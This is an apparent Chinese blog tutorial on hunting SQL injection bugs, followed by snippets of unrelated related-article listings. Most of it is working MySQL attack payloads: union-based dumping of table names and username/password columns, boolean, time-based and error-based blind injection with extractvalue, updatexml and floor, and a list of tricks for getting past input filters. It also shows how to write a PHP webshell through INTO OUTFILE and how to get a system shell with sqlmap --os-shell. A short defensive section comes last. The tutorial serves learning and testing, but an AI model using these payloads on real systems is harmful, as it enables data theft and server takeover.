当前位置: 首页 > news >正文

挖漏洞之SQL注入

(一)漏洞原理

1、 漏洞原理

SQL注入的原理是,是应用系统没有对传递的参数进行过滤,让参数直接拼接到SQL语句中,攻击通过对参数进行篡改,当参数传递到数据库中,逻辑上就会发生变化,就产生新SQL语句,造成一些不好后果

2、案例讲解

假如某业务查询功能,一般实现过程是:后端接受参数,带入查询语句中,再把查询内容返回前端,这是语句的实现:

$userID = $_POST['userID'];
$sql = "SELECT * FROM users WHERE userID = '$userID';

攻击者通过拦截到userID参数,对其植入恶意代码:userID = ' OR 1 = 1 --+
最终SQL语句变成:

SELECT * FROM users WHERE userID = ' ' OR 1 = 1 --+
 

这条 SQL 语句查询出了 users 表中的所有数据,因为 OR 1=1 永远为真。攻击者可以进一步利用这个漏洞来获取更多的数据或执行其他操作,甚至删除数据表

所以,我认为SQL漏洞的本质,就是想进方法向参数中注入恶意代码,当参数传递到数据库中,SQL语句就发生了变化,执行之后就会产生SQL注入漏洞。

(二)漏洞分类

1、按照请求类型分类:

  • GET型:通过修改URL中的参数值来注入恶意SQL语句。
  • POST型:通过修改POST请求中的参数值来注入恶意SQL语句
  • Cookie注入型:在请求头的Cookie参数中注入恶意的SQL语句,

2、按照字符类型分类:

  • 数字型:攻击者试图将SQL代码注入到数字型的数据字段中。通常在后面加入测试语句:and 1=1
  • 字符型:将SQL代码注入到字符型的数据字段中,通常在后面加入测试语句:’or 1=1

3、按照测试方法测试:

  • 报错:这是基于应用程序在处理错误时返回详细信息的漏洞,通过构造恶意的SQL语句来触发应用程序产生错误,并从错误信息中获取敏感数据或执行其他恶意操作,
  • 延时:这是一种利用在响应时间上的差异来判断漏洞的攻击方法,通过构造恶意的SQL语句,利用数据库管理系统的延时函数来判断查询是否成功执行,并据此推测SQL注入漏洞的存在,利用sleep()或benchmark()等函数让mysql执行时间变长
  • 盲注型:攻击者无法直接从响应中获取有关注入结果的详细信息,然后通过构造特定的SQL语句,利用在不同条件下的响应差异来推断查询的结果,常用构建盲注函数:substr()、Left()、ORD()
  • 布尔型:在响应中的布尔条件语句的结果来判断查询是否成功执行的一种攻击方法。通过构造恶意的SQL语句并观察应用程序的响应,来推断SQL查询的结果,结果根据false和true不返回数据库数据

(三)基本测试方法

1、SQL注入常出现位置:

只要需要带入到数据库中的参数有可能存在SQL注入,常见位置如下:

用户输入表单:用户可以通过网站的表单(如搜索框、注册表单、登录表单等)提交数据给服务器

  • URL参数:URL参数是传递给应用程序的一种常见方式,产生url参数有两个来源,一是get请求会生成url参数,还有一个是隐藏的参数,网站使用隐藏字段来存储数据,这些字段可以在表单提交时自动包含在请求中。
  • Cookies:cookies本身不会发生sql注入,可能会引发sql注入是因为,cookie是网络中识别用户身份的特殊文本,当开发人员在使用Cookie中存储的数据时,如果未进行适当的数据验证和处理,从而直接将Cookie数据用于SQL查询,就可能导致SQL注入漏洞的发生
  • HTTP头信息:攻击者通过修改HTTP请求的头部信息中的值来注入恶意的SQL语句(UserAgent、Referer,等),这些自动生成并发送给服务器的头信息,本身不会导致sql注入,在某些情况下,攻击者可能会尝试使用特殊字符来触发应用程序中的漏洞,

2、基本测试过程如下:

第一步,找注入点:在参数后面加入单引号等特殊字符,查看是否引起报错,或是修改参数的值,观察对输入是否过滤和转义

第二步,找回显点,没有回显,测试盲注和延时。前面尝试通过加入特殊字符或者修改值引起报错,如果有报错信息就测试抱错型SQL注入,没有则测试盲注和延时注入

第三步,写poc,根据测试结果编写利用该漏洞的 POC,常见的通用payload如下(基于MySQL):

        爆破数据库:group_concat(schema_name) from information_schema.schemata  
        爆破数据表:group_concat(table_name) from information_schema.columns where                 table_schema=database() 
        爆破字段:group_concat(column_name) from information_schema.columns where                 table_name='表名' 
        爆破字段内容:group_concat(username,0x7e,password) from 表名 

3、报错型SQL注入:

第一步,查找引起报错的特殊字符,一般是单引号或者双引号: ?id=1'   或 ?id=1"

第二步,判断字段个数:?id=1'  and 1=1 order by N --+   N从1开始测试,出现报错的时候说明有N-1个

第三步,找回显点:返回报错信息的地方,就是回显点,但有时候没有,那就需要自己寻找,常见方法: union select 1,2,3...N--+    其中N是字段个数

第四步:找注入点, ?id= -1'  union select 1,2,3--+ 中 2,3都是注入点
第五步:爆破数据库: ?id= -1'  union select 1,2,database()--+  找到注入点之后,就是把上面的payload换到注入点中,下面6,7,8步骤也一样的

第六步:爆破数据表:?id= -1'  union select 1,2,(group_concat(table_name) from information_schema.columns where table_schema=database())--+

第七步:爆破字段:?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='数据表' --+

第八步:爆破字段内容:?id=-1' union select 1,2, group_concat(username,0x7e,password) from 数据表 --+

4、盲注型SQL注入

当没有特殊符号没有回显的时候,就测试盲注,盲注可以分为布尔盲注和延时盲注,

  • 布尔盲注是,语句中采用了if语句判断,条件为真则回显内容,接着布尔环境下,来判断是否执行,成功执行,就是存在SQL注入漏洞
  • 延时盲注是,借助延时函数,来判断是否执行,如果延时执行,则说明存在SQL注入

区别是就是注入点构造不同

1、布尔盲注

?id=1'   成功执行,内容消失,
?id=1' and 1=1 --+  成功执行,内容显示

?id=1' and 1=2 --+  成功执行,内容消失

第一步:找注入点:经过测试找到:?id=1' or 1=1 其中1=1就是注入点,表达式为true

第二步:判断数据库长度:?id=1' or length(database())=8 --+   如果数据库长度为8 条件就为true,就会显示内容,从1开始慢慢测试,database()是查询当前数据库,换成查询数据表,则可以判断数据表长度

第三步:爆破数据库:

        猜测第一个字母:?id=1' or ascii(substr(database(),1,1))= 115--+    //115是s的ascii编号

        猜测第二个字母:?id=1' or ascii(substr(database(),2,1))

第四步:猜测数据表长度:?id=1' and  (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>6 --+

        limit 0,1表示第一个表
        limit 1,1表示第二个表

第五步:爆破数据表:和猜测数据库一样

?id=1' or ascii(substr(((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1))= 115

第六步:爆破字段长度:

第七步:爆破字段内容:

2、延时盲注
?id=1'  正常响应
?id=1' and sleep(5) --+     明显延长5秒中显示

第一步:爆破数据库长度:?id=1' and if(length(database())=8,sleep(5),0)

第二步:爆破数据库:?id=1' and if(ascii(mid(database(),1,1))<=135,sleep(5),0) --+ 从第一个字母爆破开始,逐渐爆破

第三步:爆破数据表长度

第四步:爆破数据表

第五步:爆破字段个数

第六步:爆破字段

盲注需要用到的函数:extractvalue()、updatexml()、floor()

1、extractvalue()函数:用于从 XML 类型的数据中提取指定节点的值

extractvalue(xml_document, xpath_expression)

爆破数据库:?id=-1'   and  extractvalue(1,concat(0x7e,database(),0x7e)) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段

爆破数据表:?id=-1'   and  extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e)) --+

2、updatexml()函数:用于在 XML 类型的数据中更新或插入某个节点

updatexml(xml_document, xpath_expression, new_value)

爆破数据库:?id=-1'   and  updatexml(1,concat(0x7e,database(),0x7e),1) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段

爆破数据表:?id=-1'   and  updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e),1) --+

3、foolr函数()

爆破数据库:?id=-1'  union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
database()是注入点,只需要把查询更换就可以查询数据表或字段

爆破数据表:?id=-1'  union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+

5、HTTP头注入

HTTP 头部注入攻击和 SQL 注入攻击是其实两个不同的概念,但是有时候,HTTP 头部注入攻击有时候会直接导致 SQL 注入攻击,这是因为系统需要接受这些头部参数,来是识别一些信息,然后又没有做合适的过滤,导致攻击者可以在http头部参数注入恶意代码,最终导致sql注入

常见的HTTP头部注入:

  • UA 注入: User-Agent 头中引起sql注入
  • Host 注入:Host中引起sql注入
  • Referer 注入:Referer 头引起sql注入
  • XFF注入:在X-Forwarded-For头引起sql注入
  • cookie注入,在cookie的引起sql注入

此外,其他一些HTTP头都有可能存在SQL注入,

6、堆叠注入

第一步判断堆叠注入:直接在sql语句中,加上分号,在写一个sql语句,看是否成功执行

第二步:直接查询,像上面一样,先查询数据库,其次数据表,字段,字段内容

7、宽字节注入

第一步判断宽字节注入:在参数后加入%df等,查看是否成功执行,比如引发报错,等

第二步:和上面一样,先查询数据库,其次数据表,字段,字段内容

8、二次注入

二次注入:已存储(数据库、文件)的用户输入被读取后,再次进入到 SQL 查询语句中导致的注入

(四)进阶测试方法

进阶测试方法是,目标网站有防御措施的情况下,进行测试的方法

1、针对过滤的绕过方法

  1. 过滤空格:注释符/**/绕过、编码(url、ascii)绕过、浮点数绕过、Tab替代空格、两个空格替代一个空格、括号绕过、Emoji绕过、回车代替空格,--%0a代替空格
  2. 过滤引号:使用16进制绕过
  3. 过滤逗号:from关键字绕过、join关键字绕过、like关键字绕过、offset关键字绕过,substr(),mid(),limit函数绕过
  4. 过滤注释符(# --):手动闭合引号,不使用注释符
  5. 过滤比较符号 ( < 和 > ):使用greatest()、least()函数绕过、使用between and绕过
  6. 过滤等号( = ):使用like 、rlike 、regexp过滤、 使用<或>过滤
  7. 过滤or and xor not:使用符号代替(and=`&&`  or=`||`   xor=`|`   not=`!`)
  8. 过滤union,select,where等关键字:使用注释符绕过、使用大小写绕过、使用内联注释绕过、双关键字绕过、加号+拆解字符串绕过、语法新特性绕过屏蔽、分割关键字绕过、编码绕过

2、针对次数限制的绕过方法:

延时注入:设置延时时间

(五)利用方式

  • 获取后台数据库中存放的目标的隐私信息,并进一步利用这些信息渗透拓展;

  • 对目标网站挂马,进一步有针对性地开展钓鱼攻击;

  • 获取后台应用系统的控制权限,进一步控制后台服务器
    方式一:通过SQL注入写入文件获取webshell

    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/webshell.php'
    将恶意代码写入webshell文件。
    攻击者可以通过访问webshell文件并提供系统命令参数来控制服务器
    指定目标服务器上可访问的路径和文件名,确保写入的webshell文件能够被访问到
    

    方式二:通过这个SQLMAP的这个 --os-cmd这种参数来进行webshll

    
    sqlmap -u "http://target.com/vuln.php?id=1" --os-cmd="ls -la > /var/www/html/webshell.txt"
    使用–os-cmd参数执行操作系统命令并将结果输出到webshell文件
    在注入成功后,可以通过浏览器或其他工具访问webshell文件,获取对服务器的控制权
    

    方式三:就是--os-shell的方式来进行写webshell

    sqlmap -u "http://target.com/vuln.php?id=1" --os-shell
    使用–os-shell参数与目标服务器建立交互式的shell连接
    成功建立shell连接后,可以执行各种命令、浏览目录、上传和下载文件等操作,从而控制服务器

(六)防御方法

  • 参数化查询接口,因为参数化的一个查询接口的话 他可以做到参数的一个过滤和执行重用 可以保障这个SQL语句的语义不改变,保持一个原始的一个查询意思,简单的说, 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 所以就算在参数中写入了一些恶意的指令 SQL服务器她也不会去执行这个指令的

  • 对所有的用户输入进行严格的验证和过滤,对关键字或者特殊字符,确保输入数据符合预期的格式和类型(关键字:and、or、select、declare、update、xp_cmdshell,特殊字符:’、”、;)

  • 配置额外的配置,避免打印SQL的一些错误消息出来

  • 限制数据库用户的权限,确保数据库用户只能执行必要的操作,并限制其对数据库结构的访问权限

相关文章:

挖漏洞之SQL注入

&#xff08;一&#xff09;漏洞原理 1、 漏洞原理 SQL注入的原理是&#xff0c;是应用系统没有对传递的参数进行过滤&#xff0c;让参数直接拼接到SQL语句中&#xff0c;攻击通过对参数进行篡改&#xff0c;当参数传递到数据库中&#xff0c;逻辑上就会发生变化&#xff0c;就…...

面试篇之微服务(二)

目录 服务容灾 21.什么是服务雪崩&#xff1f; 22.什么是服务熔断&#xff1f;什么是服务降级&#xff1f; 什么是服务熔断&#xff1f; 什么是服务降级&#xff1f; 有哪些熔断降级方案实现&#xff1f; 23.Hystrix怎么实现服务容错&#xff1f; 24.Sentinel怎么实现限…...

java封装详解

/*** Description 封装详解*/ package com.oop;import com.oop.demo04.Student; /*1.提高程序的安全性&#xff0c;保护数据2.隐藏代码的实现细节3.统一接口4.系统可维护增加了*/ public class Application {public static void main(String[] args) {Student s1 new Student(…...

Make sure bypassing Vue built-in sanitization is safe here.

一、问题描述 二、问题分析 XSS(跨站脚本攻击) XSS攻击通常指的是通过利用网页开发时留下的漏洞&#xff0c;通过巧妙的方法注入恶意指令代码到网页&#xff0c;使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript&#xff0c;但实际上也可以包括J…...

企业的内容站点SEO应该怎么做更有效果?

在当今数字化时代&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;已成为企业内容站点不可或缺的一部分。通过优化网站的结构、内容和链接等方面&#xff0c;企业可以提高其在搜索引擎中的排名&#xff0c;吸引更多的潜在客户&#xff0c;并增加品牌曝光度。那么&#xff…...

mac电脑下载Netflix Mac(奈飞客户端)安装教程

Netflix Mac&#xff0c;奈飞官方客户端&#xff0c;带给您无限的电影和剧集体验&#xff01;与朋友分享最新热门剧集、电影&#xff0c;与家人一起享受高品质的流媒体内容。 通过Netflix Mac&#xff0c;您可以轻松地搜索、浏览和观看各种类型的影片&#xff0c;包括剧情片、…...

PCL 计算点云图中任意两点的欧式距离

目录 一、算法原理二、代码实现三、结果展示四、相关链接本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫与GPT。 一、算法原理 使用PCL实现在可视化界面上用鼠标点选两个点,输出两点的坐标和两点之间的欧式距离。 二、代码…...

使用OssImport 工具将文件上传到阿里云OSS

前言 OssImport 工具由阿里云OSS 提供 使用 OssImport 将文件上传到阿里云OSS 参考这里 参考 使用OssImport 将阿里云服务器ECS上的文件上传到阿里云OSS ossimport概述 使用ossimport迁移数据...

充电桩新老国标兼容性分析

1、背景介绍 1.1、充电桩相关标准发展历程 1.2、兼容性分析历史 1.3、兼容性分析的目的 1.4、兼容性分析的内容 2、B类协议兼容性分析 2.1、协议分层结构 2.2、链路层分析 2.3、版本协商与链路检测 ## 2.4、传输层分析 2.5、应用层 2.5.1、应用层数据 2.5.2、应用层数据…...

ApiSix的docker 容器化部署及使用

⼀&#xff0e;etcd安装 Docekr安装Etcd 环境准备 此处安装&#xff0c;是利⽤下载的 etcd 源⽂件&#xff0c;利⽤ docker build 构建完整镜像&#xff0c;具体操作如下&#xff1a; 1.环境准备 1.1. 新建⽂件夹 在磁盘某个路径下新建⼀个⽂件夹&#xff0c;⽤处操作 Dockerfi…...

第十节HarmonyOS 使用资源引用类型

Resource是资源引用类型&#xff0c;用于设置组件属性的值。推荐大家优先使用Resource类型&#xff0c;将资源文件&#xff08;字符串、图片、音频等&#xff09;统一存放于resources目录下&#xff0c;便于开发者统一维护。同时系统可以根据当前配置加载合适的资源&#xff0c…...

ntopng如何将漏洞扫描与流量监控相结合,以提高网络安全性

来源&#xff1a;艾特保IT 虹科干货 | ntopng如何将漏洞扫描与流量监控相结合&#xff0c;以提高网络安全性 欢迎关注虹科&#xff0c;为您提供最新资讯&#xff01; ntopng为人所知的“身份”是被动流量监控。然而&#xff0c;如今的ntopng6.0也进化出主动监控功能来&#xf…...

使用coco数据集进行语义分割(1):数据预处理,制作ground truth

如何coco数据集进行目标检测的介绍已经有很多了&#xff0c;但是关于语义分割几乎没有。本文旨在说明如何处理 stuff_train2017.json stuff_val2017.json panoptic_train2017.json panoptic_val2017.json&#xff0c;将上面那些json中的dict转化为图片的label mask&am…...

神经网络 模型表示2

神经网络 模型表示2 使用向量化的方法会使得计算更为简便。以上面的神经网络为例&#xff0c;试着计算第二层的值&#xff1a; 我们令 z ( 2 ) θ ( 1 ) x {{z}^{\left( 2 \right)}}{{\theta }^{\left( 1 \right)}}x z(2)θ(1)x&#xff0c;则 a ( 2 ) g ( z ( 2 ) ) {{a}…...

ubuntu使用SSH服务远程登录另一台设备

1、安装openssh-client和openssh-server 查看当前的ubuntu是否安装了ssh-server服务。默认只安装ssh-client服务。 dpkg -l | grep ssh查看有没有openssh-client的相关字眼。 2、安装ssh-server服务&#xff08;受控制方&#xff09; sudo apt-get install openssh-server再…...

读书笔记:《Effective Modern C++(C++14)》

Effective Modern C&#xff08;C14&#xff09; GitHub - CnTransGroup/EffectiveModernCppChinese: 《Effective Modern C》- 完成翻译 Deducing Types 模版类型推导&#xff1a; 引用&#xff0c;const&#xff0c;volatile被忽略数组名和函数名退化为指针通用引用&#…...

PCL 点云加权均值收缩

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 受到之前Matlab 加权均值质心计算(WMN)的启发,我们在计算每个点的加权质心时可以很容易的发现,他们这些点会受到周围邻近点密度的影响,最后会收缩到某一个区域,那么这个区域也必定是我们比较感兴趣的一些点,…...

计算机毕业设计 基于协同推荐的白酒销售管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…...

React-hook-form-mui(五):包含内嵌表单元素的表单

前言 在上一篇文章中&#xff0c;我们介绍了react-hook-form-mui如何与与后端数据联调。在实际项目中&#xff0c;从后端获取的数据可能是复杂的数据对象&#xff0c;本文将介绍&#xff0c;如何通过react-hook-form-mui实现一个包含内嵌表单元素的表单 Demo 以下代码实现了…...

【内网安全】搭建网络拓扑,CS内网横向移动实验

文章目录 搭建网络拓扑 ☁环境CS搭建,木马生成上传一句话&#xff0c;获取WebShellCS上线reGeorg搭建代理&#xff0c;访问内网域控IIS提权信息收集横向移动 实验拓扑结构如下&#xff1a; 搭建网络拓扑 ☁ 环境 **攻击者win10地址&#xff1a;**192.168.8.3 dmz win7地址&…...

1、输入一行字符,分别统计出其中的英文字母、空格、数字和其他字符的个数。

1、输入一行字符&#xff0c;分别统计出其中的英文字母、空格、数字和其他字符的个数。 int main(){char str[N];int letter 0,space 0,digit 0, others 0;printf("请输入一行字符&#xff1a;");gets(str);for(int i0;str[i]!\0;i){if((a<str[i] && …...

戴尔科技推出全新96核Precision 7875塔式工作站

工作站行业一直是快节奏且充满惊喜的。在过去25年中,戴尔Precision一直处于行业前沿,帮助创作者、工程师、建筑师、研究人员等将想法变为现实,并对整个世界产生影响。工作站所发挥的作用至关重要,被视为化不可能为可能的必要工具。如今,人工智能(AI)和生成式AI(GenAI)的浪潮正在…...

论文阅读——DINOv

首先是关于给了提示然后做分割的一些方法的总结&#xff1a; 左边一列是prompt类型&#xff0c;右边一列是使用各个类型的prompt的模型。这些模型有分为两大类&#xff1a;Generic和Refer&#xff0c;通用分割和参考分割。Generic seg 是分割和提示语义概念一样的所有的物体&am…...

JOSEF电流继电器 DL-33 整定范围0.5-2A 柜内安装板前接线

系列型号&#xff1a; DL-31电流继电器; DL-32电流继电器; DL-33电流继电器; DL-34电流继电器; 一、用途 DL-30系列电流继电器用于电机保护、变压器保护和输电线的过负荷和短路保护线路中&#xff0c;作为起动元件。 二、结构和原理 继电器系电磁式&#xff0c;瞬时动作…...

RCE绕过

1.[SCTF 2021]rceme 总结下获取disabled_funciton的方式 1.phpinfo() 2.var_dump(ini_get(“disable_functions”)); 3.var_dump(get_cfg_var(“disable_functions”)); 其他的 var_dump(get_cfg_var(“open_basedir”)); var_dump(ini_get_all()); <?php if(isset($_POS…...

Qt应用开发--国产工业开发板全志T113-i的部署教程

Qt在工业上的使用场景包括工业自动化、嵌入式系统、汽车行业、航空航天、医疗设备、制造业和物联网应用。Qt被用来开发工业设备的用户界面、控制系统、嵌入式应用和其他工业应用&#xff0c;因其跨平台性和丰富的功能而备受青睐。 Qt能够为工业领域带来什么好处&#xff1a; -…...

css 常用动画效果

css 常用动画效果 文章目录 css 常用动画效果1.上下运动动画2.宽度变化动画 1.上下运动动画 <div class"box"><div class"item"></div> </div>css .box {position: relative; }.item {position: absolute;width: 50px;height: 50…...

【读书笔记】微习惯

周日晚上尝试速读一本书《微习惯》&#xff0c;共七章看了下目录结构并不复杂&#xff0c;计划每章7-8分钟读完&#xff0c; 从20:15-21:00。读的时候&#xff0c;订下闹钟&#xff0c;催促着自己的进度。边读边记了一些要点和微信读书里面的划线。 第六章实践内容最为丰富&…...

Oracle SQL优化

1、书写顺序和执行顺序 在Oracle SQL中&#xff0c;查询的书写顺序和执行顺序是不同的。 1.1SQL书写顺序如下&#xff1a; SELECTFROMWHEREGROUP BYHAVINGORDER BY 1.2 SQL执行顺序 FROM&#xff1a;数据源被确定&#xff0c;表连接操作也在此步骤完成。 WHERE&#xff1a;对…...

C++实现ATM取款机

C实现ATM取款机 代码&#xff1a;https://mbd.pub/o/bread/ZZeZk5Zp 1.任务描述 要求&#xff1a;设计一个程序&#xff0c;当输入给定的卡号和密码&#xff08;初始卡号和密码为123456) 时&#xff0c;系统 能登录 ATM 取款机系统&#xff0c;用户可以按照以下规则进行: 查询…...